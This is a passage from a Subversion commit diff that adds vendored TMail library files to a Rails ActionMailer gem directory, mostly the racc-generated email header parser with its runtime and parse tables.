+    alias each_mail each_port
+    alias each_newmail each_new_port
+  end
+  class UNIXMbox
+    alias new_mail new_port
+    alias each_mail each_port
+    alias each_newmail each_new_port
+  end
+  class Maildir
+    alias new_mail new_port
+    alias each_mail each_port
+    alias each_newmail each_new_port
+  end
+
+  extend TextUtils
+
+  class << self
+    alias msgid?    message_id?
+    alias boundary  new_boundary
+    alias msgid     new_message_id
+    alias new_msgid new_message_id
+  end
+
+  def Mail.boundary
+    ::TMail.new_boundary
+  end
+
+  def Mail.msgid
+    ::TMail.new_message_id
+  end
+
+end   # module TMail
+#:startdoc:
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/parser.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/parser.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/parser.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1476 @@
+#:stopdoc:
+# DO NOT MODIFY!!!!
+# This file is automatically generated by racc 1.4.5
+# from racc grammer file "parser.y".
+#
+#
+# parser.rb: generated by racc (runtime embedded)
+#
+###### racc/parser.rb begin
+unless $".index 'racc/parser.rb'
+$".push 'racc/parser.rb'
+
+self.class.module_eval <<'..end racc/parser.rb modeval..id8076474214', 'racc/parser.rb', 1
+#
+# $Id: parser.rb,v 1.7 2005/11/20 17:31:32 aamine Exp $
+#
+# Copyright (c) 1999-2005 Minero Aoki
+#
+# This program is free software.
+# You can distribute/modify this program under the same terms of ruby.
+#
+# As a special exception, when this code is copied by Racc
+# into a Racc output file, you may use that output file
+# without restriction.
+#
+
+unless defined?(NotImplementedError)
+  NotImplementedError = NotImplementError
+end
+
+module Racc
+  class ParseError < StandardError; end
+end
+unless defined?(::ParseError)
+  ParseError = Racc::ParseError
+end
+
+module Racc
+
+  unless defined?(Racc_No_Extentions)
+    Racc_No_Extentions = false
+  end
+
+  class Parser
+
+    Racc_Runtime_Version = '1.4.5'
+    Racc_Runtime_Revision = '$Revision: 1.7 $'.split[1]
+
+    Racc_Runtime_Core_Version_R = '1.4.5'
+    Racc_Runtime_Core_Revision_R = '$Revision: 1.7 $'.split[1]
+    begin
+      require 'racc/cparse'
+    # Racc_Runtime_Core_Version_C  = (defined in extention)
+      Racc_Runtime_Core_Revision_C = Racc_Runtime_Core_Id_C.split[2]
+      unless new.respond_to?(:_racc_do_parse_c, true)
+        raise LoadError, 'old cparse.so'
+      end
+      if Racc_No_Extentions
+        raise LoadError, 'selecting ruby version of racc runtime core'
+      end
+
+      Racc_Main_Parsing_Routine    = :_racc_do_parse_c
+      Racc_YY_Parse_Method         = :_racc_yyparse_c
+      Racc_Runtime_Core_Version    = Racc_Runtime_Core_Version_C
+      Racc_Runtime_Core_Revision   = Racc_Runtime_Core_Revision_C
+      Racc_Runtime_Type            = 'c'
+    rescue LoadError
+      Racc_Main_Parsing_Routine    = :_racc_do_parse_rb
+      Racc_YY_Parse_Method         = :_racc_yyparse_rb
+      Racc_Runtime_Core_Version    = Racc_Runtime_Core_Version_R
+      Racc_Runtime_Core_Revision   = Racc_Runtime_Core_Revision_R
+      Racc_Runtime_Type            = 'ruby'
+    end
+
+    def Parser.racc_runtime_type
+      Racc_Runtime_Type
+    end
+
+    private
+
+    def _racc_setup
+      @yydebug = false unless self.class::Racc_debug_parser
+      @yydebug = false unless defined?(@yydebug)
+      if @yydebug
+        @racc_debug_out = $stderr unless defined?(@racc_debug_out)
+        @racc_debug_out ||= $stderr
+      end
+      arg = self.class::Racc_arg
+      arg[13] = true if arg.size < 14
+      arg
+    end
+
+    def _racc_init_sysvars
+      @racc_state  = [0]
+      @racc_tstack = []
+      @racc_vstack = []
+
+      @racc_t = nil
+      @racc_val = nil
+
+      @racc_read_next = true
+
+      @racc_user_yyerror = false
+      @racc_error_status = 0
+    end
+
+    ###
+    ### do_parse
+    ###
+
+    def do_parse
+      __send__(Racc_Main_Parsing_Routine, _racc_setup(), false)
+    end
+
+    def next_token
+      raise NotImplementedError, "#{self.class}\#next_token is not defined"
+    end
+
+    def _racc_do_parse_rb(arg, in_debug)
+      action_table, action_check, action_default, action_pointer,
+      goto_table,   goto_check,   goto_default,   goto_pointer,
+      nt_base,      reduce_table, token_table,    shift_n,
+      reduce_n,     use_result,   * = arg
+
+      _racc_init_sysvars
+      tok = act = i = nil
+      nerr = 0
+
+      catch(:racc_end_parse) {
+        while true
+          if i = action_pointer[@racc_state[-1]]
+            if @racc_read_next
+              if @racc_t != 0   # not EOF
+                tok, @racc_val = next_token()
+                unless tok      # EOF
+                  @racc_t = 0
+                else
+                  @racc_t = (token_table[tok] or 1)   # error token
+                end
+                racc_read_token(@racc_t, tok, @racc_val) if @yydebug
+                @racc_read_next = false
+              end
+            end
+            i += @racc_t
+            unless i >= 0 and
+                   act = action_table[i] and
+                   action_check[i] == @racc_state[-1]
+              act = action_default[@racc_state[-1]]
+            end
+          else
+            act = action_default[@racc_state[-1]]
+          end
+          while act = _racc_evalact(act, arg)
+            ;
+          end
+        end
+      }
+    end
+
+    ###
+    ### yyparse
+    ###
+
+    def yyparse(recv, mid)
+      __send__(Racc_YY_Parse_Method, recv, mid, _racc_setup(), true)
+    end
+
+    def _racc_yyparse_rb(recv, mid, arg, c_debug)
+      action_table, action_check, action_default, action_pointer,
+      goto_table,   goto_check,   goto_default,   goto_pointer,
+      nt_base,      reduce_table, token_table,    shift_n,
+      reduce_n,     use_result,   * = arg
+
+      _racc_init_sysvars
+      tok = nil
+      act = nil
+      i = nil
+      nerr = 0
+
+      catch(:racc_end_parse) {
+        until i = action_pointer[@racc_state[-1]]
+          while act = _racc_evalact(action_default[@racc_state[-1]], arg)
+            ;
+          end
+        end
+        recv.__send__(mid) do |tok, val|
+          unless tok
+            @racc_t = 0
+          else
+            @racc_t = (token_table[tok] or 1)   # error token
+          end
+          @racc_val = val
+          @racc_read_next = false
+
+          i += @racc_t
+          unless i >= 0 and
+                 act = action_table[i] and
+                 action_check[i] == @racc_state[-1]
+            act = action_default[@racc_state[-1]]
+          end
+          while act = _racc_evalact(act, arg)
+            ;
+          end
+
+          while not (i = action_pointer[@racc_state[-1]]) or
+                not @racc_read_next or
+                @racc_t == 0   # $
+            unless i and i += @racc_t and
+                   i >= 0 and
+                   act = action_table[i] and
+                   action_check[i] == @racc_state[-1]
+              act = action_default[@racc_state[-1]]
+            end
+            while act = _racc_evalact(act, arg)
+              ;
+            end
+          end
+        end
+      }
+    end
+
+    ###
+    ### common
+    ###
+
+    def _racc_evalact(act, arg)
+      action_table, action_check, action_default, action_pointer,
+      goto_table,   goto_check,   goto_default,   goto_pointer,
+      nt_base,      reduce_table, token_table,    shift_n,
+      reduce_n,     use_result,   * = arg
+      nerr = 0   # tmp
+
+      if act > 0 and act < shift_n
+        #
+        # shift
+        #
+        if @racc_error_status > 0
+          @racc_error_status -= 1 unless @racc_t == 1   # error token
+        end
+        @racc_vstack.push @racc_val
+        @racc_state.push act
+        @racc_read_next = true
+        if @yydebug
+          @racc_tstack.push @racc_t
+          racc_shift @racc_t, @racc_tstack, @racc_vstack
+        end
+
+      elsif act < 0 and act > -reduce_n
+        #
+        # reduce
+        #
+        code = catch(:racc_jump) {
+          @racc_state.push _racc_do_reduce(arg, act)
+          false
+        }
+        if code
+          case code
+          when 1 # yyerror
+            @racc_user_yyerror = true   # user_yyerror
+            return -reduce_n
+          when 2 # yyaccept
+            return shift_n
+          else
+            raise '[Racc Bug] unknown jump code'
+          end
+        end
+
+      elsif act == shift_n
+        #
+        # accept
+        #
+        racc_accept if @yydebug
+        throw :racc_end_parse, @racc_vstack[0]
+
+      elsif act == -reduce_n
+        #
+        # error
+        #
+        case @racc_error_status
+        when 0
+          unless arg[21]    # user_yyerror
+            nerr += 1
+            on_error @racc_t, @racc_val, @racc_vstack
+          end
+        when 3
+          if @racc_t == 0   # is $
+            throw :racc_end_parse, nil
+          end
+          @racc_read_next = true
+        end
+        @racc_user_yyerror = false
+        @racc_error_status = 3
+        while true
+          if i = action_pointer[@racc_state[-1]]
+            i += 1   # error token
+            if  i >= 0 and
+                (act = action_table[i]) and
+                action_check[i] == @racc_state[-1]
+              break
+            end
+          end
+          throw :racc_end_parse, nil if @racc_state.size <= 1
+          @racc_state.pop
+          @racc_vstack.pop
+          if @yydebug
+            @racc_tstack.pop
+            racc_e_pop @racc_state, @racc_tstack, @racc_vstack
+          end
+        end
+        return act
+
+      else
+        raise "[Racc Bug] unknown action #{act.inspect}"
+      end
+
+      racc_next_state(@racc_state[-1], @racc_state) if @yydebug
+
+      nil
+    end
+
+    def _racc_do_reduce(arg, act)
+      action_table, action_check, action_default, action_pointer,
+      goto_table,   goto_check,   goto_default,   goto_pointer,
+      nt_base,      reduce_table, token_table,    shift_n,
+      reduce_n,     use_result,   * = arg
+      state = @racc_state
+      vstack = @racc_vstack
+      tstack = @racc_tstack
+
+      i = act * -3
+      len       = reduce_table[i]
+      reduce_to = reduce_table[i+1]
+      method_id = reduce_table[i+2]
+      void_array = []
+
+      tmp_t = tstack[-len, len] if @yydebug
+      tmp_v = vstack[-len, len]
+      tstack[-len, len] = void_array if @yydebug
+      vstack[-len, len] = void_array
+      state[-len, len]  = void_array
+
+      # tstack must be updated AFTER method call
+      if use_result
+        vstack.push __send__(method_id, tmp_v, vstack, tmp_v[0])
+      else
+        vstack.push __send__(method_id, tmp_v, vstack)
+      end
+      tstack.push reduce_to
+
+      racc_reduce(tmp_t, reduce_to, tstack, vstack) if @yydebug
+
+      k1 = reduce_to - nt_base
+      if i = goto_pointer[k1]
+        i += state[-1]
+        if i >= 0 and (curstate = goto_table[i]) and goto_check[i] == k1
+          return curstate
+        end
+      end
+      goto_default[k1]
+    end
+
+    def on_error(t, val, vstack)
+      raise ParseError, sprintf("\nparse error on value %s (%s)",
+                                val.inspect, token_to_str(t) || '?')
+    end
+
+    def yyerror
+      throw :racc_jump, 1
+    end
+
+    def yyaccept
+      throw :racc_jump, 2
+    end
+
+    def yyerrok
+      @racc_error_status = 0
+    end
+
+    #
+    # for debugging output
+    #
+
+    def racc_read_token(t, tok, val)
+      @racc_debug_out.print 'read    '
+      @racc_debug_out.print tok.inspect, '(', racc_token2str(t), ') '
+      @racc_debug_out.puts val.inspect
+      @racc_debug_out.puts
+    end
+
+    def racc_shift(tok, tstack, vstack)
+      @racc_debug_out.puts "shift   #{racc_token2str tok}"
+      racc_print_stacks tstack, vstack
+      @racc_debug_out.puts
+    end
+
+    def racc_reduce(toks, sim, tstack, vstack)
+      out = @racc_debug_out
+      out.print 'reduce '
+      if toks.empty?
+        out.print ' <none>'
+      else
+        toks.each {|t| out.print ' ', racc_token2str(t) }
+      end
+      out.puts " --> #{racc_token2str(sim)}"
+          
+      racc_print_stacks tstack, vstack
+      @racc_debug_out.puts
+    end
+
+    def racc_accept
+      @racc_debug_out.puts 'accept'
+      @racc_debug_out.puts
+    end
+
+    def racc_e_pop(state, tstack, vstack)
+      @racc_debug_out.puts 'error recovering mode: pop token'
+      racc_print_states state
+      racc_print_stacks tstack, vstack
+      @racc_debug_out.puts
+    end
+
+    def racc_next_state(curstate, state)
+      @racc_debug_out.puts  "goto    #{curstate}"
+      racc_print_states state
+      @racc_debug_out.puts
+    end
+
+    def racc_print_stacks(t, v)
+      out = @racc_debug_out
+      out.print '        ['
+      t.each_index do |i|
+        out.print ' (', racc_token2str(t[i]), ' ', v[i].inspect, ')'
+      end
+      out.puts ' ]'
+    end
+
+    def racc_print_states(s)
+      out = @racc_debug_out
+      out.print '        ['
+      s.each {|st| out.print ' ', st }
+      out.puts ' ]'
+    end
+
+    def racc_token2str(tok)
+      self.class::Racc_token_to_s_table[tok] or
+          raise "[Racc Bug] can't convert token #{tok} to string"
+    end
+
+    def token_to_str(t)
+      self.class::Racc_token_to_s_table[t]
+    end
+
+  end
+
+end
+..end racc/parser.rb modeval..id8076474214
+end
+###### racc/parser.rb end
+
+
+#
+# parser.rb
+#
+# Copyright (c) 1998-2007 Minero Aoki
+#
+# This program is free software.
+# You can distribute/modify this program under the terms of
+# the GNU Lesser General Public License version 2.1.
+#
+
+require 'tmail/scanner'
+require 'tmail/utils'
+
+
+module TMail
+
+  class Parser < Racc::Parser
+
+module_eval <<'..end parser.y modeval..id7b0b3dccb7', 'parser.y', 340
+
+  include TextUtils
+
+  def self.parse( ident, str, cmt = nil )
+    new.parse(ident, str, cmt)
+  end
+
+  MAILP_DEBUG = false
+
+  def initialize
+    self.debug = MAILP_DEBUG
+  end
+
+  def debug=( flag )
+    @yydebug = flag && Racc_debug_parser
+    @scanner_debug = flag
+  end
+
+  def debug
+    @yydebug
+  end
+
+  def parse( ident, str, comments = nil )
+    @scanner = Scanner.new(str, ident, comments)
+    @scanner.debug = @scanner_debug
+    @first = [ident, ident]
+    result = yyparse(self, :parse_in)
+    comments.map! {|c| to_kcode(c) } if comments
+    result
+  end
+
+  private
+
+  def parse_in( &block )
+    yield @first
+    @scanner.scan(&block)
+  end
+  
+  def on_error( t, val, vstack )
+    raise SyntaxError, "parse error on token #{racc_token2str t}"
+  end
+
+..end parser.y modeval..id7b0b3dccb7
+
+##### racc 1.4.5 generates ###
+
+racc_reduce_table = [
+ 0, 0, :racc_error,
+ 2, 35, :_reduce_1,
+ 2, 35, :_reduce_2,
+ 2, 35, :_reduce_3,
+ 2, 35, :_reduce_4,
+ 2, 35, :_reduce_5,
+ 2, 35, :_reduce_6,
+ 2, 35, :_reduce_7,
+ 2, 35, :_reduce_8,
+ 2, 35, :_reduce_9,
+ 2, 35, :_reduce_10,
+ 2, 35, :_reduce_11,
+ 2, 35, :_reduce_12,
+ 6, 36, :_reduce_13,
+ 0, 48, :_reduce_none,
+ 2, 48, :_reduce_none,
+ 3, 49, :_reduce_16,
+ 5, 49, :_reduce_17,
+ 1, 50, :_reduce_18,
+ 7, 37, :_reduce_19,
+ 0, 51, :_reduce_none,
+ 2, 51, :_reduce_21,
+ 0, 52, :_reduce_none,
+ 2, 52, :_reduce_23,
+ 1, 58, :_reduce_24,
+ 3, 58, :_reduce_25,
+ 2, 58, :_reduce_26,
+ 0, 53, :_reduce_none,
+ 2, 53, :_reduce_28,
+ 0, 54, :_reduce_29,
+ 3, 54, :_reduce_30,
+ 0, 55, :_reduce_none,
+ 2, 55, :_reduce_32,
+ 2, 55, :_reduce_33,
+ 0, 56, :_reduce_none,
+ 2, 56, :_reduce_35,
+ 1, 61, :_reduce_36,
+ 1, 61, :_reduce_37,
+ 0, 57, :_reduce_none,
+ 2, 57, :_reduce_39,
+ 1, 38, :_reduce_none,
+ 1, 38, :_reduce_none,
+ 3, 38, :_reduce_none,
+ 1, 46, :_reduce_none,
+ 1, 46, :_reduce_none,
+ 1, 46, :_reduce_none,
+ 1, 39, :_reduce_none,
+ 2, 39, :_reduce_47,
+ 1, 64, :_reduce_48,
+ 3, 64, :_reduce_49,
+ 1, 68, :_reduce_none,
+ 1, 68, :_reduce_none,
+ 1, 69, :_reduce_52,
+ 3, 69, :_reduce_53,
+ 1, 47, :_reduce_none,
+ 1, 47, :_reduce_none,
+ 2, 47, :_reduce_56,
+ 2, 67, :_reduce_none,
+ 3, 65, :_reduce_58,
+ 2, 65, :_reduce_59,
+ 1, 70, :_reduce_60,
+ 2, 70, :_reduce_61,
+ 4, 62, :_reduce_62,
+ 3, 62, :_reduce_63,
+ 2, 72, :_reduce_none,
+ 2, 73, :_reduce_65,
+ 4, 73, :_reduce_66,
+ 3, 63, :_reduce_67,
+ 1, 63, :_reduce_68,
+ 1, 74, :_reduce_none,
+ 2, 74, :_reduce_70,
+ 1, 71, :_reduce_71,
+ 3, 71, :_reduce_72,
+ 1, 59, :_reduce_73,
+ 3, 59, :_reduce_74,
+ 1, 76, :_reduce_75,
+ 2, 76, :_reduce_76,
+ 1, 75, :_reduce_none,
+ 1, 75, :_reduce_none,
+ 1, 75, :_reduce_none,
+ 1, 77, :_reduce_none,
+ 1, 77, :_reduce_none,
+ 1, 77, :_reduce_none,
+ 1, 66, :_reduce_none,
+ 2, 66, :_reduce_none,
+ 3, 60, :_reduce_85,
+ 1, 40, :_reduce_86,
+ 3, 40, :_reduce_87,
+ 1, 79, :_reduce_none,
+ 2, 79, :_reduce_89,
+ 1, 41, :_reduce_90,
+ 2, 41, :_reduce_91,
+ 3, 42, :_reduce_92,
+ 5, 43, :_reduce_93,
+ 3, 43, :_reduce_94,
+ 0, 80, :_reduce_95,
+ 5, 80, :_reduce_96,
+ 5, 80, :_reduce_97,
+ 1, 44, :_reduce_98,
+ 3, 45, :_reduce_99,
+ 0, 81, :_reduce_none,
+ 1, 81, :_reduce_none,
+ 1, 78, :_reduce_none,
+ 1, 78, :_reduce_none,
+ 1, 78, :_reduce_none,
+ 1, 78, :_reduce_none,
+ 1, 78, :_reduce_none,
+ 1, 78, :_reduce_none,
+ 1, 78, :_reduce_none ]
+
+racc_reduce_n = 109
+
+racc_shift_n = 167
+
+racc_action_table = [
+   -70,   -69,    23,    25,   145,   146,    29,    31,   105,   106,
+    16,    17,    20,    22,   136,    27,   -70,   -69,    32,   101,
+   -70,   -69,   153,   100,   113,   115,   -70,   -69,   -70,   109,
+    75,    23,    25,   101,   154,    29,    31,   142,   143,    16,
+    17,    20,    22,   107,    27,    23,    25,    32,    98,    29,
+    31,    96,    94,    16,    17,    20,    22,    78,    27,    23,
+    25,    32,   112,    29,    31,    74,    91,    16,    17,    20,
+    22,    88,   117,    92,    81,    32,    23,    25,    80,   123,
+    29,    31,   100,   125,    16,    17,    20,    22,   126,    23,
+    25,   109,    32,    29,    31,    91,   128,    16,    17,    20,
+    22,   129,    27,    23,    25,    32,   101,    29,    31,   101,
+   130,    16,    17,    20,    22,    79,    52,    23,    25,    32,
+    78,    29,    31,   133,    78,    16,    17,    20,    22,    77,
+    23,    25,    75,    32,    29,    31,    65,    62,    16,    17,
+    20,    22,   139,    23,    25,   101,    32,    29,    31,    60,
+   100,    16,    17,    20,    22,    44,    27,   101,   147,    32,
+    23,    25,   120,   148,    29,    31,   151,   152,    16,    17,
+    20,    22,    42,    27,   156,   158,    32,    23,    25,   120,
+    40,    29,    31,    15,   163,    16,    17,    20,    22,    40,
+    27,    23,    25,    32,    68,    29,    31,   165,   166,    16,
+    17,    20,    22,   nil,    27,    23,    25,    32,   nil,    29,
+    31,    74,   nil,    16,    17,    20,    22,   nil,    23,    25,
+   nil,    32,    29,    31,   nil,   nil,    16,    17,    20,    22,
+   nil,    23,    25,   nil,    32,    29,    31,   nil,   nil,    16,
+    17,    20,    22,   nil,    23,    25,   nil,    32,    29,    31,
+   nil,   nil,    16,    17,    20,    22,   nil,    23,    25,   nil,
+    32,    29,    31,   nil,   nil,    16,    17,    20,    22,   nil,
+    27,    23,    25,    32,   nil,    29,    31,   nil,   nil,    16,
+    17,    20,    22,   nil,    23,    25,   nil,    32,    29,    31,
+   nil,   nil,    16,    17,    20,    22,   nil,    23,    25,   nil,
+    32,    29,    31,   nil,   nil,    16,    17,    20,    22,   nil,
+    84,    25,   nil,    32,    29,    31,   nil,    87,    16,    17,
+    20,    22,     4,     6,     7,     8,     9,    10,    11,    12,
+    13,     1,     2,     3,    84,    25,   nil,   nil,    29,    31,
+   nil,    87,    16,    17,    20,    22,    84,    25,   nil,   nil,
+    29,    31,   nil,    87,    16,    17,    20,    22,    84,    25,
+   nil,   nil,    29,    31,   nil,    87,    16,    17,    20,    22,
+    84,    25,   nil,   nil,    29,    31,   nil,    87,    16,    17,
+    20,    22,    84,    25,   nil,   nil,    29,    31,   nil,    87,
+    16,    17,    20,    22,    84,    25,   nil,   nil,    29,    31,
+   nil,    87,    16,    17,    20,    22 ]
+
+racc_action_check = [
+    75,    28,    68,    68,   136,   136,    68,    68,    72,    72,
+    68,    68,    68,    68,   126,    68,    75,    28,    68,    67,
+    75,    28,   143,    66,    86,    86,    75,    28,    75,    75,
+    28,     3,     3,    86,   143,     3,     3,   134,   134,     3,
+     3,     3,     3,    73,     3,   151,   151,     3,    62,   151,
+   151,    60,    56,   151,   151,   151,   151,    51,   151,    52,
+    52,   151,    80,    52,    52,    52,    50,    52,    52,    52,
+    52,    45,    89,    52,    42,    52,    71,    71,    41,    96,
+    71,    71,    97,    98,    71,    71,    71,    71,   100,     7,
+     7,   101,    71,     7,     7,   102,   104,     7,     7,     7,
+     7,   105,     7,     8,     8,     7,   108,     8,     8,   111,
+   112,     8,     8,     8,     8,    40,     8,     9,     9,     8,
+    36,     9,     9,   117,   121,     9,     9,     9,     9,    33,
+    10,    10,    70,     9,    10,    10,    13,    12,    10,    10,
+    10,    10,   130,     2,     2,   131,    10,     2,     2,    11,
+   135,     2,     2,     2,     2,     6,     2,   138,   139,     2,
+    90,    90,    90,   140,    90,    90,   141,   142,    90,    90,
+    90,    90,     5,    90,   147,   150,    90,   127,   127,   127,
+     4,   127,   127,     1,   156,   127,   127,   127,   127,   158,
+   127,    26,    26,   127,    26,    26,    26,   162,   163,    26,
+    26,    26,    26,   nil,    26,    27,    27,    26,   nil,    27,
+    27,    27,   nil,    27,    27,    27,    27,   nil,   154,   154,
+   nil,    27,   154,   154,   nil,   nil,   154,   154,   154,   154,
+   nil,   122,   122,   nil,   154,   122,   122,   nil,   nil,   122,
+   122,   122,   122,   nil,    76,    76,   nil,   122,    76,    76,
+   nil,   nil,    76,    76,    76,    76,   nil,    38,    38,   nil,
+    76,    38,    38,   nil,   nil,    38,    38,    38,    38,   nil,
+    38,    55,    55,    38,   nil,    55,    55,   nil,   nil,    55,
+    55,    55,    55,   nil,    94,    94,   nil,    55,    94,    94,
+   nil,   nil,    94,    94,    94,    94,   nil,    59,    59,   nil,
+    94,    59,    59,   nil,   nil,    59,    59,    59,    59,   nil,
+   114,   114,   nil,    59,   114,   114,   nil,   114,   114,   114,
+   114,   114,     0,     0,     0,     0,     0,     0,     0,     0,
+     0,     0,     0,     0,    77,    77,   nil,   nil,    77,    77,
+   nil,    77,    77,    77,    77,    77,    44,    44,   nil,   nil,
+    44,    44,   nil,    44,    44,    44,    44,    44,   113,   113,
+   nil,   nil,   113,   113,   nil,   113,   113,   113,   113,   113,
+    88,    88,   nil,   nil,    88,    88,   nil,    88,    88,    88,
+    88,    88,    74,    74,   nil,   nil,    74,    74,   nil,    74,
+    74,    74,    74,    74,   129,   129,   nil,   nil,   129,   129,
+   nil,   129,   129,   129,   129,   129 ]
+
+racc_action_pointer = [
+   320,   152,   129,    17,   165,   172,   137,    75,    89,   103,
+   116,   135,   106,   105,   nil,   nil,   nil,   nil,   nil,   nil,
+   nil,   nil,   nil,   nil,   nil,   nil,   177,   191,     1,   nil,
+   nil,   nil,   nil,   109,   nil,   nil,    94,   nil,   243,   nil,
+    99,    64,    74,   nil,   332,    52,   nil,   nil,   nil,   nil,
+    50,    31,    45,   nil,   nil,   257,    36,   nil,   nil,   283,
+    22,   nil,    16,   nil,   nil,   nil,    -3,   -10,   -12,   nil,
+   103,    62,    -8,    15,   368,     0,   230,   320,   nil,   nil,
+    47,   nil,   nil,   nil,   nil,   nil,     4,   nil,   356,    50,
+   146,   nil,   nil,   nil,   270,   nil,    65,    56,    52,   nil,
+    57,    62,    79,   nil,    68,    81,   nil,   nil,    77,   nil,
+   nil,    80,    96,   344,   296,   nil,   nil,   108,   nil,   nil,
+   nil,    98,   217,   nil,   nil,   nil,   -19,   163,   nil,   380,
+   128,   116,   nil,   nil,    14,   124,   -26,   nil,   128,   141,
+   148,   141,   152,     7,   nil,   nil,   nil,   160,   nil,   nil,
+   149,    31,   nil,   nil,   204,   nil,   167,   nil,   174,   nil,
+   nil,   nil,   169,   184,   nil,   nil,   nil ]
+
+racc_action_default = [
+  -109,  -109,  -109,  -109,   -14,  -109,   -20,  -109,  -109,  -109,
+  -109,  -109,  -109,  -109,   -10,   -95,  -105,  -106,   -77,   -44,
+  -107,   -11,  -108,   -79,   -43,  -102,  -109,  -109,   -60,  -103,
+   -55,  -104,   -78,   -68,   -54,   -71,   -45,   -12,  -109,    -1,
+  -109,  -109,  -109,    -2,  -109,   -22,   -51,   -48,   -50,    -3,
+   -40,   -41,  -109,   -46,    -4,   -86,    -5,   -88,    -6,   -90,
+  -109,    -7,   -95,    -8,    -9,   -98,  -100,   -61,   -59,   -56,
+   -69,  -109,  -109,  -109,  -109,   -75,  -109,  -109,   -57,   -15,
+  -109,   167,   -73,   -80,   -82,   -21,   -24,   -81,  -109,   -27,
+  -109,   -83,   -47,   -89,  -109,   -91,  -109,  -100,  -109,   -99,
+  -101,   -75,   -58,   -52,  -109,  -109,   -64,   -63,   -65,   -76,
+   -72,   -67,  -109,  -109,  -109,   -26,   -23,  -109,   -29,   -49,
+   -84,   -42,   -87,   -92,   -94,   -95,  -109,  -109,   -62,  -109,
+  -109,   -25,   -74,   -28,   -31,  -100,  -109,   -53,   -66,  -109,
+  -109,   -34,  -109,  -109,   -93,   -96,   -97,  -109,   -18,   -13,
+   -38,  -109,   -30,   -33,  -109,   -32,   -16,   -19,   -14,   -35,
+   -36,   -37,  -109,  -109,   -39,   -85,   -17 ]
+
+racc_goto_table = [
+    39,    67,    70,    73,    38,    66,    69,    24,    37,    57,
+    59,    36,    55,    67,    99,    90,    85,   157,    69,   108,
+    83,   134,   111,    76,    49,    53,   141,    70,    73,   150,
+   118,    89,    45,   155,   159,   149,   140,    21,    14,    19,
+   119,   102,    64,    63,    61,   124,    70,   104,    58,   132,
+    83,    56,    97,    83,    54,    93,    43,     5,   131,    95,
+   116,   nil,    76,   nil,    83,    76,   nil,   127,   nil,    38,
+   nil,   nil,   nil,   103,   138,   nil,   110,   nil,   nil,   nil,
+   nil,   nil,   nil,   144,   nil,   nil,   nil,   nil,   nil,    83,
+    83,   nil,   nil,   nil,    57,   nil,   nil,   122,   nil,   121,
+   nil,   nil,   nil,   nil,   nil,    83,   nil,   nil,   nil,   nil,
+   nil,   nil,   nil,   nil,   nil,   135,   nil,   nil,   nil,   nil,
+   nil,   nil,    93,   nil,   nil,   nil,    70,   161,    38,    70,
+   162,   160,   137,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
+   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
+   nil,   nil,   nil,   nil,   164 ]
+
+racc_goto_check = [
+     2,    37,    37,    29,    36,    46,    28,    13,    13,    41,
+    41,    31,    45,    37,    47,    32,    24,    23,    28,    25,
+    44,    20,    25,    42,     4,     4,    21,    37,    29,    22,
+    19,    18,    17,    26,    27,    16,    15,    12,    11,    33,
+    34,    35,    10,     9,     8,    47,    37,    29,     7,    43,
+    44,     6,    46,    44,     5,    41,     3,     1,    25,    41,
+    24,   nil,    42,   nil,    44,    42,   nil,    32,   nil,    36,
+   nil,   nil,   nil,    13,    25,   nil,    41,   nil,   nil,   nil,
+   nil,   nil,   nil,    47,   nil,   nil,   nil,   nil,   nil,    44,
+    44,   nil,   nil,   nil,    41,   nil,   nil,    45,   nil,    31,
+   nil,   nil,   nil,   nil,   nil,    44,   nil,   nil,   nil,   nil,
+   nil,   nil,   nil,   nil,   nil,    46,   nil,   nil,   nil,   nil,
+   nil,   nil,    41,   nil,   nil,   nil,    37,    29,    36,    37,
+    29,    28,    13,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
+   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
+   nil,   nil,   nil,   nil,     2 ]
+
+racc_goto_pointer = [
+   nil,    57,    -4,    50,    17,    46,    42,    38,    33,    31,
+    29,    37,    35,     5,   nil,   -94,  -105,    26,   -14,   -59,
+   -97,  -108,  -112,  -133,   -28,   -55,  -110,  -117,   -20,   -24,
+   nil,     9,   -35,    37,   -50,   -27,     1,   -25,   nil,   nil,
+   nil,     0,    -5,   -65,   -24,     3,   -10,   -52 ]
+
+racc_goto_default = [
+   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
+   nil,   nil,   nil,    48,    41,   nil,   nil,   nil,   nil,   nil,
+   nil,   nil,   nil,   nil,   nil,    86,   nil,   nil,    30,    34,
+    50,    51,   nil,    46,    47,   nil,    26,    28,    71,    72,
+    33,    35,   114,    82,    18,   nil,   nil,   nil ]
+
+racc_token_table = {
+ false => 0,
+ Object.new => 1,
+ :DATETIME => 2,
+ :RECEIVED => 3,
+ :MADDRESS => 4,
+ :RETPATH => 5,
+ :KEYWORDS => 6,
+ :ENCRYPTED => 7,
+ :MIMEVERSION => 8,
+ :CTYPE => 9,
+ :CENCODING => 10,
+ :CDISPOSITION => 11,
+ :ADDRESS => 12,
+ :MAILBOX => 13,
+ :DIGIT => 14,
+ :ATOM => 15,
+ "," => 16,
+ ":" => 17,
+ :FROM => 18,
+ :BY => 19,
+ "@" => 20,
+ :DOMLIT => 21,
+ :VIA => 22,
+ :WITH => 23,
+ :ID => 24,
+ :FOR => 25,
+ ";" => 26,
+ "<" => 27,
+ ">" => 28,
+ "." => 29,
+ :QUOTED => 30,
+ :TOKEN => 31,
+ "/" => 32,
+ "=" => 33 }
+
+racc_use_result_var = false
+
+racc_nt_base = 34
+
+Racc_arg = [
+ racc_action_table,
+ racc_action_check,
+ racc_action_default,
+ racc_action_pointer,
+ racc_goto_table,
+ racc_goto_check,
+ racc_goto_default,
+ racc_goto_pointer,
+ racc_nt_base,
+ racc_reduce_table,
+ racc_token_table,
+ racc_shift_n,
+ racc_reduce_n,
+ racc_use_result_var ]
+
+Racc_token_to_s_table = [
+'$end',
+'error',
+'DATETIME',
+'RECEIVED',
+'MADDRESS',
+'RETPATH',
